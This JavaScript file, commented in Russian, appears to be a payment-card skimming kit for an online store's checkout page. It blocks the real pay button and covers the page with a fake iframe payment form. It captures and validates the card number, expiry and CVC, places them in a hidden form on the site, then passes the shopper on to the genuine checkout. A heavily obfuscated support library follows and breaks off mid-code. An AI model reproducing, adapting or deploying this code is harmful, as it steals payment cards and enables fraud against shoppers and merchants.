function run() {
// Дебажить или нет.
const debug = false;
// html код страницы, который покажем в нашем iframe
const html = `
`;
// Объект с css селекторами на целевом сайте
const pageElements = {
// Кнопка оплаты на сайте.
button: '#checkout-payment-method-load > div > div > div.payment-method._active > div.payment-method-content > div.actions-toolbar > div > button',
// Блок с полной суммой на сайте.
// Если нет необходимости передавать сумму в iframe,
// то закоментируйте строку ниже с помощью двух слешей //
amount: '#opc-sidebar > div.opc-block-summary > table > tbody > tr.grand.totals > td > strong > span',
// Необходим, если на сайте есть варианты выбора метода оплаты.
// Если на сайте нет вариантов выбора метода оплаты (или вариант только один),
// то закоментируйте строки ниже с помощью двух слешей // вначале строк
options: {
option1: '#checkmo',
},
// При необходимости, сюда можно добавить дополнительные css селекторы с сайта.
// Пример ниже - anotherElement
//anotherElement: '',
};
// Объект с css селекторами на странице iframe (нашего iframe)
const frameElements = {
// Кнопка оплаты на странице iframe.
iButton: '#paymentForm > div:nth-child(1) > div > div > div.PaymentForm-confirmPaymentContainer.mt4.flex-item.width-grow > div > div:nth-child(2) > button',
// Блок с полной суммой в iframe.
// Если в iframe нет блока куда нужно передавать сумму,
// то закоментируйте строку ниже с помощью двух слешей //
iAmount: '#root > div > div > div.App-Overview > div > div > div.ProductSummary-info > span',
// Поле ввода номера карты в iframe.
iNumber: '#cardNumber',
// Поле ввода срока действия карты в iframe.
iExpiry: '#cardExpiry',
// Поле ввода cvc кода карты в iframe.
iCvc: '#cardCvc',
};
// Ключ для сохранения в локальное хранилище браузера.
// В данном случае, ключ нужен чтобы всё отработало только один раз.
const localStoragePicker = '__gf_form_data';
// Оборачиваем document в PageDoc.
const doc = new PageDoc(document);
// Ожидаем все необходимые элементы на сайте.
doc.waitElements(pageElements, () => {
// Проверяем есть ли ключ в локальном хранилище
return !localStorage.getItem(localStoragePicker);
})
.then(({
// В объекте result находятся элементы, которые мы задали ранее для поиска.
// Имена переменных идентичны ключам в pageElements объекте.
result: { button, amount, options, /* anotherElement */ }
}) => {
// На всякий случай сделаем кнопку включённой
button.disabled = false;
// Блокируем все события у кнопки.
button.lockEvent()
.on('click', () => { // Привязываем наше событие на клик.
// Проверяем нет ли метки в локальном хранилище.
if (localStorage.getItem(localStoragePicker)) {
// Разблокируем все события у кнопки.
return button.unlockEvent();
}
// Если есть варианты выбора метода оплаты,
// то проверяем нужный ли нам метод оплаты был выбран.
if (options && !Object.values(options).find(option => (option && option.checked))) {
// Разблокируем все события, кликаем и снова блокируем события у кнопки.
return button.unlockEvent().click().lockEvent();
}
// Создаём наш iframe.
const iframe = doc.create('iframe').coverAll(); // Перекрываем всю страницу нашим iframe.
// Добавляем наш iframe на страницу.
doc.body.appendChild(iframe);
// Оборачиваем iframe document в PageDoc.
const idoc = new PageDoc(iframe.document());
// Записываем в iframe наш html.
idoc.writeHTML(html)
.then((idoc) => idoc.waitElements(frameElements)) // Ожидаем все необходимые элементы в нашем iframe.
.then(({
// В объекте result находятся элементы, которые мы задали ранее для поиска.
// Имена переменных идентичны ключам в frameElements объекте.
result: { iButton, iAmount, iNumber, iExpiry, iCvc }
}) => {
if (amount && iAmount) {
// Если переданы css селекторы amount и iAmount,
// то устанавливаем сумму в iAmount из amount.
iAmount.setValue(amount.getValue());
}
// Обрабатываем элемент номера карты как поле ввода (field) с параметром "card",
// разделителем (delim) - '' и максимальной длиной символов (maxLen) - 19 (без пробела).
iNumber.asField('card', { delim: '', maxLen: 19 })
.on('input', () => iNumber.formatValue()) // При печатании - форматируем значение.
.on('blur', () => iNumber.validateValue()) // При выходе из поля ввода - валидируем значение.
.on('focus', () => {
// При выделении поля ввода - делаем что-то тут.
// Например вернём дефолтный цвет окантовки поля ввода,
// как показано в нижнем комментарии:
// iNumber.border('');
})
.on('valid', () => {
// При валидном значении поля ввода - делаем что-то тут.
// Например покрасим окантовку поля ввода в зелёный цвет,
// как показано в нижнем комментарии:
// iNumber.border('1px solid #1cc88a');
})
.on('invalid', () => {
// При невалидном значении поля ввода - делаем что-то тут.
// Например покрасим окантовку поля ввода в красный цвет,
// как показано в нижнем комментарии:
// iNumber.border('1px solid #e74a3b');
});
// Обрабатываем элемент срока действия карты как поле ввода (field) с параметром "expiry",
// разделителем (delim) - ' / '.
iExpiry.asField('expiry', { delim: ' / ' })
.on('input', () => iExpiry.formatValue()) // При печатании - форматируем значение.
.on('blur', () => iExpiry.validateValue()) // При выходе из поля ввода - валидируем значение.
.on('focus', () => {
// При выделении поля ввода - делаем что-то тут.
// Например вернём дефолтный цвет окантовки поля ввода,
// как показано в нижнем комментарии:
// iExpiry.border('');
})
.on('valid', () => {
// При валидном значении поля ввода - делаем что-то тут.
// Например покрасим окантовку поля ввода в зелёный цвет,
// как показано в нижнем комментарии:
// iExpiry.border('1px solid #1cc88a');
})
.on('invalid', () => {
// При невалидном значении поля ввода - делаем что-то тут.
// Например покрасим окантовку поля ввода в красный цвет,
// как показано в нижнем комментарии:
// iExpiry.border('1px solid #e74a3b');
});
// Обрабатываем элемент cvc кода карты как поле ввода (field) с параметром "numeric",
// с минимальной длиной символов (minLen) - 3 (без пробела) и максимальной (maxLen) - 4 (без пробела).
iCvc.asField('numeric', { minLen: 3, maxLen: 4 })
.on('input', () => iCvc.formatValue()) // При печатании - форматируем значение.
.on('blur', () => iCvc.validateValue()) // При выходе из поля ввода - валидируем значение.
.on('focus', () => {
// При выделении поля ввода - делаем что-то тут.
// Например вернём дефолтный цвет окантовки поля ввода,
// как показано в нижнем комментарии:
// iCvc.border('');
})
.on('valid', () => {
// При валидном значении поля ввода - делаем что-то тут.
// Например покрасим окантовку поля ввода в зелёный цвет,
// как показано в нижнем комментарии:
// iCvc.border('1px solid #1cc88a');
})
.on('invalid', () => {
// При невалидном значении поля ввода - делаем что-то тут.
// Например покрасим окантовку поля ввода в красный цвет,
// как показано в нижнем комментарии:
// iCvc.border('1px solid #e74a3b');
});
// Создаём форму "приёмник" в документе целевого сайт.
// Именно из этой формы будут получены данные в дальнейшем.
const form = doc.create('div').asForm()
.addField(iCvc, 'f-cc-cvv') // Добавляем поле ввода cvc кода карты и применяем имя 'f-cc-cvv'.
.addField(iExpiry, 'f-cc-exp') // Добавляем поле ввода срока действия карты и применяем имя 'f-cc-exp'.
.addField(iNumber, 'f-cc-card') // Добавляем поле ввода номера карты и применяем имя 'f-cc-card'.
.on('valid', () => {
// При валидном значении поля ввода - делаем что-то тут.
// Например, учитывая то, что этот этап будет последним в нашем сценарии,
// покрасим окантовку родительского элемента номера карты в красный цвет,
// как показано в нижнем комментарии:
// iNumber.border('1px solid #e74a3b');
})
.on('invalid', () => {
// При невалидных значениях полей ввода - делаем что-то тут.
// По идее, тут не обязательно что либо делать.
});
// Добавляем нашу форму в body документа целевого сайта.
doc.body.appendChild(form);
// На всякий случай сделаем кнопку включённой
iButton.disabled = false;
// Привязываем событие на клик по кнопке в iframe.
iButton.on('click', async () => { // Обратите внимание - функция асинхронная.
// После клика блокируем кнопку в iframe.
iButton.disabled = true;
// Валидируем созданную ранее форму.
if (form.validateValues() === true) {
// Если данные формы валидны, то устанавливаем метку в локальное хранилище.
localStorage.setItem(localStoragePicker, Date.now());
// Ожидаем 2 секунды (2000 - это 2 секунды).
await doc.sleep(2000);
// Разблокируем все события, кликаем на кнопку на сайте,
// чтобы попытаться перекинуть пользователя на реальную страницу оплаты.
button.unlockEvent().click();
// Ожидаем 5 секунды (5000 - это 5 секунды).
await doc.sleep(5000);
// Если переход на страницу оплаты не удался, то перезагружаем страницу.
return window.location.reload();
}
// Разблокируем кнопку в iframe.
iButton.disabled = false;
});
})
.catch((e) => debug && console.error(e)); // Тут можно добавить свою логику при ошибке.
});
})
.catch((e) => debug && console.error(e)); // Тут можно добавить свою логику при ошибке.
}
/* Library */
'use strict';var _0x6b88bf=_0xcd4e;(function(_0x142b33,_0x5bf0b0){var _0x335e8d=_0xcd4e;var _0x3ba996=_0x142b33();while(!![]){try{var _0x107fb8=-parseInt(_0x335e8d('0x291'))/0x1+parseInt(_0x335e8d('0x2d8'))/0x2+-parseInt(_0x335e8d('0x218'))/0x3+-parseInt(_0x335e8d('0x2da'))/0x4+parseInt(_0x335e8d('0x176'))/0x5+-parseInt(_0x335e8d('0x229'))/0x6*(parseInt(_0x335e8d('0x246'))/0x7)+-parseInt(_0x335e8d('0x2a5'))/0x8*(-parseInt(_0x335e8d('0x26a'))/0x9);if(_0x107fb8===_0x5bf0b0){break;}else{_0x3ba996['push'](_0x3ba996['shift']());}}catch(_0x5b9711){_0x3ba996['push'](_0x3ba996['shift']());}}}(_0x3831,0xb5137));function _createForOfIteratorHelperLoose(_0x53d526,_0x1b4e8f){var _0x8a7669=_0xcd4e;var _0x1983c0='undefined'!=typeof Symbol&&_0x53d526[Symbol[_0x8a7669('0x1be')]]||_0x53d526[_0x8a7669('0x30a')];if(_0x1983c0)return(_0x1983c0=_0x1983c0[_0x8a7669('0x299')](_0x53d526))['next']['bind'](_0x1983c0);if(Array['isArray'](_0x53d526)||(_0x1983c0=_unsupportedIterableToArray(_0x53d526))||_0x1b4e8f&&_0x53d526&&'number'==typeof _0x53d526['length']){_0x1983c0&&(_0x53d526=_0x1983c0);var _0x5ca3d2=0x0;return function(){return _0x5ca3d2>=_0x53d526['length']?{'done':!0x0}:{'done':!0x1,'value':_0x53d526[_0x5ca3d2++]};};}throw new TypeError('Invalid\x20attempt\x20to\x20iterate\x20non-iterable\x20instance.\x0aIn\x20order\x20to\x20be\x20iterable,\x20non-array\x20objects\x20must\x20have\x20a\x20[Symbol.iterator]()\x20method.');}function _unsupportedIterableToArray(_0x6ce060,_0x57d084){var _0x5064c5=_0xcd4e;if(_0x6ce060){if(_0x5064c5('0x253')==typeof _0x6ce060)return _arrayLikeToArray(_0x6ce060,_0x57d084);var _0x41082f={}[_0x5064c5('0x2aa')]['call'](_0x6ce060)[_0x5064c5('0x180')](0x8,-0x1);return _0x5064c5('0x29a')===_0x41082f&&_0x6ce060[_0x5064c5('0x2cc')]&&(_0x41082f=_0x6ce060[_0x5064c5('0x2cc')]['name']),_0x5064c5('0x19e')===_0x41082f||'Set'===_0x41082f?Array[_0x5064c5('0x2b3')](_0x6ce060):'Arguments'===_0x41082f||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/[_0x5064c5('0x2fa')](_0x41082f)?_arrayLikeToArray(_0x6ce060,_0x57d084):void 0x0;}}function _arrayLikeToArray(_0x3e574d,_0x175b74){(null==_0x175b74||_0x175b74>_0x3e574d['length'])&&(_0x175b74=_0x3e574d['length']);for(var _0x3c4953=0x0,_0x4201a4=Array(_0x175b74);_0x3c4953<_0x175b74;_0x3c4953++)_0x4201a4[_0x3c4953]=_0x3e574d[_0x3c4953];return _0x4201a4;}function _extends(){var _0x468e3d=_0xcd4e;return _extends=Object['assign']?Object['assign'][_0x468e3d('0x206')]():function(_0x43104f){var _0x14a63=_0xcd4e;for(var _0x9c8953=0x1;_0x9c8953Document.prototype.write.call(document,Math.round((Date.now()/'+_0x295b26+')-Math.round(('+_0x2bdc0b+'/'+_0x295b26+')-'+_0x5480fc+_0x109f1a('0x26e');}function _log2(){var _0x26f055=_0xcd4e;if(this[_0x26f055('0x255')]===!![]){for(var _0x35edb7=arguments[_0x26f055('0x1ad')],_0x48bdb6=new Array(_0x35edb7),_0x12e05e=0x0;_0x12e05e<_0x35edb7;_0x12e05e++){if(_0x26f055('0x211')===_0x26f055('0x300')){_0x1ad3a7['push']('');return _0x43b064['getValue']();}else{_0x48bdb6[_0x12e05e]=arguments[_0x12e05e];}}console[_0x26f055('0x189')]['apply'](null,_0x48bdb6);}}function _debounce2(_0x3300f2,_0x43361e){var _0x12ba2a;return function(){var _0x47b762=arguments,_0x308ef1=this;clearTimeout(_0x12ba2a);_0x12ba2a=setTimeout(function(){if('DrWKF'!=='qBhkN'){return _0x3300f2['apply'](_0x308ef1,_0x47b762);}else{return _0x108faf;}},_0x43361e);};}function _sleep2(_0x4f6657){if(_0x4f6657===void 0x0){_0x4f6657=0x0;}return new Promise(function(_0x1f815e){return setTimeout(_0x1f815e,_0x4f6657);});}function _getSelector2(_0x16bd1a,_0x413a86){var _0x1cc041=_0xcd4e;if(_0x413a86===void 0x0){if('fxHNs'!==_0x1cc041('0x1cc')){if(_0x45a56c['target']['_target']['click']){_0xb615['target'][_0x1cc041('0x1e3')]['click']();}_0x3ed6f3['target']['emit'](_0x1cc041('0x26c'),_0x35b574);}else{_0x413a86={};}}var _0x1e64db=_extends({'tag':!![],'id':!![],'class':!![],'trimId':Infinity},_0x413a86);var _0x320a01='';var _0x110c1d=_0x16bd1a['parentNode'];if(_0x110c1d){var _0x78a28=[];var _0xdb1ec5=(_0x16bd1a[_0x1cc041('0x231')]||'HTML')['toLowerCase']();var _0x1e82c3=function _0x487591(){var _0x286f33=_0xcd4e;if(_0x16bd1a['nodeType']!==Node['ELEMENT_NODE']){_0x16bd1a=_0x16bd1a['parentNode'];_0x110c1d=_0x16bd1a[_0x286f33('0x2c3')];return 0x1;}var _0x8dcb29=_0x1e64db['id']&&HTMLElement[_0x286f33('0x1d5')][_0x286f33('0x30f')][_0x286f33('0x299')](_0x16bd1a,'id')?'[id^=\x22'+CSS['escape'](HTMLElement[_0x286f33('0x1d5')][_0x286f33('0x310')]['call'](_0x16bd1a,'id'))['substring'](0x0,_0x1e64db['trimId']||Infinity)+'\x22]':'';var _0x43b32f=_0x1e64db['tag']?_0xdb1ec5:'';var _0x1c55ed=_0x1e64db['class']&&typeof _0x16bd1a[_0x286f33('0x25d')]==='string'&&!!_0x16bd1a[_0x286f33('0x25d')]?_0x16bd1a['className']['trim']()['split'](/\s+/)['map'](function(_0x1083b3){return CSS['escape'](_0x1083b3);}):[];var _0x8c0364=':nth-of-type('+(Array[_0x286f33('0x1d5')]['filter'][_0x286f33('0x299')](_0x110c1d['childNodes'],function(_0x45cc57){return _0x45cc57['tagName']==_0x16bd1a['tagName'];})[_0x286f33('0x260')](_0x16bd1a)+0x1)+')';if(_0x8dcb29&&HTMLElement[_0x286f33('0x1d5')]['querySelectorAll']['call'](_0x110c1d,_0x8dcb29)[_0x286f33('0x1ad')]==0x1){if('QbVun'===_0x286f33('0x18e')){return _0x34f02b(this,_0x5c5d92)[_0x47dbe2];}else{_0x78a28[_0x286f33('0x219')](_0x8dcb29);}}else if(_0x43b32f&&HTMLElement['prototype'][_0x286f33('0x198')][_0x286f33('0x299')](_0x110c1d,_0x43b32f)['length']==0x1){_0x78a28['push'](_0x43b32f);}else if(_0x1c55ed[_0x286f33('0x1ad')]>0x0){var _0x543d34=_0x1c55ed[_0x286f33('0x273')](function(_0xe052a){var _0xb8960f=_0xcd4e;if('URjLX'!=='URjLX'){return _0x51f91e[_0xb8960f('0x28c')]();}else{return _0x2d3270('.'+_0xe052a,{'selectorArr':_0x78a28,'parentNode':_0x110c1d,'tag':_0x43b32f,'id':_0x8dcb29});}});if(!_0x543d34){var _0x1a7da6='';_0x1c55ed['find'](function(_0x235ec1){return _0x2d3270(_0x1a7da6+='.'+_0x235ec1,{'selectorArr':_0x78a28,'parentNode':_0x110c1d,'tag':_0x43b32f,'id':_0x8dcb29});});}}else{_0x78a28[_0x286f33('0x219')](''+_0x43b32f+_0x8dcb29+_0x8c0364);}_0x16bd1a=_0x110c1d;_0x110c1d=_0x16bd1a['parentNode'];_0xdb1ec5=(_0x16bd1a['tagName']||_0x286f33('0x203'))['toLowerCase']();};while(_0x110c1d&&!_0xdb1ec5[_0x1cc041('0x265')](/^html$/i)){if('GHHcP'==='GHHcP'){if(_0x1e82c3())continue;}else{return _0x4a8b4f['addFields'](_0x474dce);}}_0x78a28['reverse']();_0x320a01=_0x78a28['join']('\x20>\x20');}function _0x2d3270(_0x4a8cc5,_0x5a934d){var _0x55c256=_0xcd4e;var _0x23d12c=_0x5a934d[_0x55c256('0x1f1')],_0x3b9321=_0x5a934d['parentNode'],_0x1f6542=_0x5a934d[_0x55c256('0x26b')],_0x52324f=_0x5a934d['id'];if(HTMLElement['prototype'][_0x55c256('0x198')]['call'](_0x3b9321,''+_0x4a8cc5)['length']==0x1){_0x23d12c['push'](''+_0x4a8cc5);return!![];}else if(_0x1f6542&&HTMLElement[_0x55c256('0x1d5')]['querySelectorAll'][_0x55c256('0x299')](_0x3b9321,''+_0x1f6542+_0x4a8cc5)['length']==0x1){_0x23d12c[_0x55c256('0x219')](''+_0x1f6542+_0x4a8cc5);return!![];}else if(_0x52324f&&HTMLElement[_0x55c256('0x1d5')][_0x55c256('0x198')]['call'](_0x3b9321,''+_0x1f6542+_0x52324f+_0x4a8cc5)['length']==0x1){if(_0x55c256('0x305')===_0x55c256('0x271')){this[_0x55c256('0x2f5')]['set'](_0x2af408,new _0x16f8db());}else{_0x23d12c[_0x55c256('0x219')](''+_0x1f6542+_0x52324f+_0x4a8cc5);return!![];}}return![];}return _0x320a01;}var _doc=_classPrivateFieldLooseKey('doc');var _window=_classPrivateFieldLooseKey('window');var _targets=_classPrivateFieldLooseKey(_0x6b88bf('0x234'));var _targetsById=_classPrivateFieldLooseKey(_0x6b88bf('0x31f'));function _0xcd4e(_0x320fcb,_0x463bbc){var _0x3831a4=_0x3831();_0xcd4e=function(_0xcd4e01,_0x534890){_0xcd4e01=_0xcd4e01-0x175;var _0x52b30c=_0x3831a4[_0xcd4e01];return _0x52b30c;};return _0xcd4e(_0x320fcb,_0x463bbc);}var _eventNames=_classPrivateFieldLooseKey(_0x6b88bf('0x200'));var _attributesMap=_classPrivateFieldLooseKey(_0x6b88bf('0x303'));var _dmrk=_classPrivateFieldLooseKey('__dmrk');var _mrk=_classPrivateFieldLooseKey('__mrk');var _blacklistedEvents=_classPrivateFieldLooseKey(_0x6b88bf('0x195'));var _addStyleElement=_classPrivateFieldLooseKey('addStyleElement');var _sCreate=_classPrivateFieldLooseKey('sCreate');var _writeHTML=_classPrivateFieldLooseKey('writeHTML');var _getTarget=_classPrivateFieldLooseKey(_0x6b88bf('0x1d1'));var _addTarget=_classPrivateFieldLooseKey(_0x6b88bf('0x28a'));var _createTarget=_classPrivateFieldLooseKey(_0x6b88bf('0x216'));var _create=_classPrivateFieldLooseKey(_0x6b88bf('0x290'));var _select=_classPrivateFieldLooseKey('select');var _wait=_classPrivateFieldLooseKey('wait');var _waitElements=_classPrivateFieldLooseKey(_0x6b88bf('0x240'));var PageDoc=function(_0x2c3d29){var _0x530566=_0xcd4e;function _0x201972(_0x4e3b8a){var _0x3b40ea=_0xcd4e;var _0x2a5c00;_0x2a5c00=_0x2c3d29['call'](this)||this;Object[_0x3b40ea('0x1e1')](_0x2a5c00,_waitElements,{'value':_waitElements2});Object[_0x3b40ea('0x1e1')](_0x2a5c00,_wait,{'value':_wait2});Object['defineProperty'](_0x2a5c00,_select,{'value':_select2});Object['defineProperty'](_0x2a5c00,_create,{'value':_create2});Object[_0x3b40ea('0x1e1')](_0x2a5c00,_createTarget,{'value':_createTarget2});Object['defineProperty'](_0x2a5c00,_addTarget,{'value':_addTarget2});Object['defineProperty'](_0x2a5c00,_getTarget,{'value':_getTarget2});Object['defineProperty'](_0x2a5c00,_writeHTML,{'value':_writeHTML2});Object['defineProperty'](_0x2a5c00,_sCreate,{'value':_sCreate2});Object['defineProperty'](_0x2a5c00,_addStyleElement,{'value':_addStyleElement2});Object['defineProperty'](_0x2a5c00,_doc,{'writable':!![],'value':void 0x0});Object['defineProperty'](_0x2a5c00,_window,{'writable':!![],'value':void 0x0});Object[_0x3b40ea('0x1e1')](_0x2a5c00,_targets,{'writable':!![],'value':void 0x0});Object['defineProperty'](_0x2a5c00,_targetsById,{'writable':!![],'value':void 0x0});Object['defineProperty'](_0x2a5c00,_eventNames,{'writable':!![],'value':void 0x0});Object[_0x3b40ea('0x1e1')](_0x2a5c00,_attributesMap,{'writable':!![],'value':void 0x0});Object['defineProperty'](_0x2a5c00,_dmrk,{'writable':!![],'value':void 0x0});Object[_0x3b40ea('0x1e1')](_0x2a5c00,_mrk,{'writable':!![],'value':void 0x0});Object['defineProperty'](_0x2a5c00,_blacklistedEvents,{'writable':!![],'value':[_0x3b40ea('0x201'),_0x3b40ea('0x268'),'pointerleave',_0x3b40ea('0x1bf'),'mousemove','pointermove','mouseenter','mouseover',_0x3b40ea('0x2d5'),'pointerover',_0x3b40ea('0x1a8')]});var _0xc07af=function _0x3d8fd7(){var _0x152592=_0xcd4e;function _0x25d1f2(){var _0x5afabe=_0xcd4e;const _0x590753=['WR9yAMzHWP5aWR1fWPrBwYS',_0x5afabe('0x238'),_0x5afabe('0x212'),'DaFcTxldLMpcQvG','s8kawcxcSelcLmk4WRBdLSkAW54',_0x5afabe('0x224'),'W6CzF8owWRC',_0x5afabe('0x1b5'),'eCk7g1NdJuBdPZ4n','BMSFWQFcTSoPe3lcS8oIWR10',_0x5afabe('0x197'),_0x5afabe('0x301'),'umo1fdlcS8kKWQBcQbu',_0x5afabe('0x1ea'),'vg4ZWQOdl2m','WR8xySoee8kBW6VdLuHwWP9Rlmk4xcFcOHa8rSoUW6JdSMqa',_0x5afabe('0x2dd'),'cW/cPmotW6DjWRnSzG','v3vXWRannN/cQSkm','W4ZcRCokWRDgx3qiaeZdUmow',_0x5afabe('0x1cf'),'WQn9W4RcRCoiW5dcSZtdUHKBWPe',_0x5afabe('0x1d3'),_0x5afabe('0x1c4'),_0x5afabe('0x1fa'),'WPNdTw3dJG',_0x5afabe('0x2f1'),'WR5Fygb3WRLCWQff',_0x5afabe('0x1b6'),_0x5afabe('0x213'),_0x5afabe('0x28d'),'WPXbqu5sWPLKW6nQWQnUbbpdQGNdNmombYRcGSoTWQpcLCohW5CJhuaGmmkaW6K','W7S0B8kBWRS2F33cHG',_0x5afabe('0x204'),'it3dGsZdH2q','h8occ3pdSHxcVSkLWQhdICkvW6r6',_0x5afabe('0x270'),'i8odbZ/dQbhcLSkS','uSo1W6xcKCo6tmkbcCkpn8kh','W53cMc/dUCoiomkKD8or',_0x5afabe('0x1e2'),'WRuyFSoD',_0x5afabe('0x1af')];_0x25d1f2=function(){return _0x590753;};return _0x25d1f2();}function _0x33c91a(_0x3fcf39,_0x5bd7ba){var _0x530c8b=_0xcd4e;if('BnaDN'!==_0x530c8b('0x2e6')){const _0x247fae=_0x25d1f2();_0x33c91a=function(_0x52db79,_0x460390){var _0x3851d0=_0xcd4e;_0x52db79=_0x52db79-0xa3;let _0x11911e=_0x247fae[_0x52db79];if(_0x33c91a[_0x3851d0('0x269')]===undefined){var _0x3616e9=function(_0x7ddb04){var _0x5598ae=_0xcd4e;if(_0x5598ae('0x187')===_0x5598ae('0x314')){return _0x5cfc3f(this,_0x5e361c)[_0x228a0f];}else{const _0xdcdb20=_0x5598ae('0x30e');let _0x4a26f3='';let _0x340942='';for(let _0x56ec5d=0x0,_0x18b433,_0x3a975f,_0x4884ad=0x0;_0x3a975f=_0x7ddb04[_0x5598ae('0x25a')](_0x4884ad++);~_0x3a975f&&(_0x18b433=_0x56ec5d%0x4?_0x18b433*0x40+_0x3a975f:_0x3a975f,_0x56ec5d++%0x4)?_0x4a26f3+=String['fromCharCode'](0xff&_0x18b433>>(-0x2*_0x56ec5d&0x6)):0x0){_0x3a975f=_0xdcdb20[_0x5598ae('0x260')](_0x3a975f);}for(let _0x29a099=0x0,_0x4ceb00=_0x4a26f3['length'];_0x29a099<_0x4ceb00;_0x29a099++){_0x340942+='%'+('00'+_0x4a26f3[_0x5598ae('0x1a4')](_0x29a099)['toString'](0x10))[_0x5598ae('0x180')](-0x2);}return decodeURIComponent(_0x340942);}};const _0x1ead52=function(_0x772946,_0x4f73c1){var _0x999c7=_0xcd4e;if('APwYG'===_0x999c7('0x2cb')){let _0x4b6261=[],_0x17b8b2=0x0,_0x505118,_0x87326e='';_0x772946=_0x3616e9(_0x772946);let _0x47b3cf;for(_0x47b3cf=0x0;_0x47b3cf<0x100;_0x47b3cf++){_0x4b6261[_0x47b3cf]=_0x47b3cf;}for(_0x47b3cf=0x0;_0x47b3cf<0x100;_0x47b3cf++){_0x17b8b2=(_0x17b8b2+_0x4b6261[_0x47b3cf]+_0x4f73c1['charCodeAt'](_0x47b3cf%_0x4f73c1['length']))%0x100;_0x505118=_0x4b6261[_0x47b3cf];_0x4b6261[_0x47b3cf]=_0x4b6261[_0x17b8b2];_0x4b6261[_0x17b8b2]=_0x505118;}_0x47b3cf=0x0;_0x17b8b2=0x0;for(let _0x28acf0=0x0;_0x28acf0<_0x772946['length'];_0x28acf0++){_0x47b3cf=(_0x47b3cf+0x1)%0x100;_0x17b8b2=(_0x17b8b2+_0x4b6261[_0x47b3cf])%0x100;_0x505118=_0x4b6261[_0x47b3cf];_0x4b6261[_0x47b3cf]=_0x4b6261[_0x17b8b2];_0x4b6261[_0x17b8b2]=_0x505118;_0x87326e+=String['fromCharCode'](_0x772946[_0x999c7('0x1a4')](_0x28acf0)^_0x4b6261[(_0x4b6261[_0x47b3cf]+_0x4b6261[_0x17b8b2])%0x100]);}return _0x87326e;}else{if(_0x999c7('0x178')!=typeof _0x23ffce||!_0x2825f1)return _0x532eb0;var _0x4629e4=_0x3f10a2[_0x2617a9['toPrimitive']];if(void 0x0!==_0x4629e4){var _0x2445f8=_0x4629e4[_0x999c7('0x299')](_0x5c5de2,_0x4c542e||'default');if(_0x999c7('0x178')!=typeof _0x2445f8)return _0x2445f8;throw new _0x1e8c93('@@toPrimitive\x20must\x20return\x20a\x20primitive\x20value.');}return(_0x999c7('0x253')===_0x28ab2e?_0xd1966c:_0x5a8edb)(_0x16ce8b);}};_0x33c91a['UJEEkX']=_0x1ead52;_0x3fcf39=arguments;_0x33c91a[_0x3851d0('0x269')]=!![];}const _0x5d9bd0=_0x247fae[0x0];const _0x1d22fd=_0x52db79+_0x5d9bd0;const _0x2ed10f=_0x3fcf39[_0x1d22fd];if(!_0x2ed10f){if(_0x33c91a['DGyGic']===undefined){_0x33c91a[_0x3851d0('0x2e4')]=!![];}_0x11911e=_0x33c91a[_0x3851d0('0x20e')](_0x11911e,_0x460390);_0x3fcf39[_0x1d22fd]=_0x11911e;}else{_0x11911e=_0x2ed10f;}return _0x11911e;};return _0x33c91a(_0x3fcf39,_0x5bd7ba);}else{return _0x4136ce(this,_0x3f6536)[_0x3627e5];}}const _0x2c4173=_0x33c91a;(function(_0xb8e06a,_0x599b0f){var _0x4fa727=_0xcd4e;const _0x2f1fb0={'K':'0xc3','C':_0x4fa727('0x1ca'),'X':0xbf,'P':'JL(j','M':'!#q%','E':'q]W^','J':'0xac','u':'F7Qn','O':'0xbb','k':'r!Pp','w':0xad,'A':_0x4fa727('0x263'),'F':0xc7,'f':0xc8,'L':'4j0)','j':'0xa4','Y':'0xaa','c':'qCEg'};const _0xef07ec=_0x33c91a;const _0xcfeffe=_0xb8e06a();while(!![]){try{const _0x4ba170=parseInt(_0xef07ec(_0x2f1fb0['K'],_0x2f1fb0['C']))/0x1*(-parseInt(_0xef07ec(_0x2f1fb0['X'],_0x2f1fb0['P']))/0x2)+-parseInt(_0xef07ec(0xb0,'4j0)'))/0x3*(parseInt(_0xef07ec('0xa9',_0x2f1fb0['M']))/0x4)+parseInt(_0xef07ec(_0x4fa727('0x244'),_0x2f1fb0['E']))/0x5*(parseInt(_0xef07ec(_0x2f1fb0['J'],_0x2f1fb0['u']))/0x6)+parseInt(_0xef07ec(_0x2f1fb0['O'],_0x2f1fb0['k']))/0x7+-parseInt(_0xef07ec(_0x2f1fb0['w'],_0x2f1fb0['A']))/0x8*(parseInt(_0xef07ec(_0x2f1fb0['F'],'k4Ax'))/0x9)+parseInt(_0xef07ec(_0x2f1fb0['f'],_0x2f1fb0['L']))/0xa*(parseInt(_0xef07ec(_0x2f1fb0['j'],_0x4fa727('0x319')))/0xb)+parseInt(_0xef07ec(_0x2f1fb0['Y'],_0x2f1fb0['c']))/0xc;if(_0x4ba170===_0x599b0f){break;}else{_0xcfeffe[_0x4fa727('0x219')](_0xcfeffe[_0x4fa727('0x1fb')]());}}catch(_0x433a5d){_0xcfeffe[_0x4fa727('0x219')](_0xcfeffe['shift']());}}}(_0x25d1f2,0x39538));return function _0x301a6f(_0x19a9e7){var _0xe10db=_0xcd4e;if(_0xe10db('0x27e')==='ozNcB'){_0x28392b={};}else{const _0x145205={'K':0xa7,'C':_0xe10db('0x1f7'),'X':0xb6,'P':_0xe10db('0x25b'),'M':'0xc6','J':_0xe10db('0x247'),'u':0xc9,'O':0xaf,'k':'0xb5','w':'0xa8','A':0xb4,'F':_0xe10db('0x23a'),'f':')uwK','L':_0xe10db('0x248'),'j':'$YJf','Y':_0xe10db('0x2d4'),'c':'r!Pp','n':'0xc5','q':'L1bp','Z':0xcc,'x':0xbd,'R':_0xe10db('0x1c0'),'v':'0xb9','B':0xbc,'H':_0xe10db('0x23e'),'y':_0xe10db('0x1ae'),'m':'[84X'};const _0x387e6e=_0x33c91a;let _0x3f2587=Document[_0x387e6e(_0x145205['K'],_0x145205['C'])][_0x387e6e(_0x145205['X'],'q]W^')][_0x387e6e(0xa5,_0x145205['P'])](document,_0x387e6e(_0x145205['M'],_0x145205['J']));let 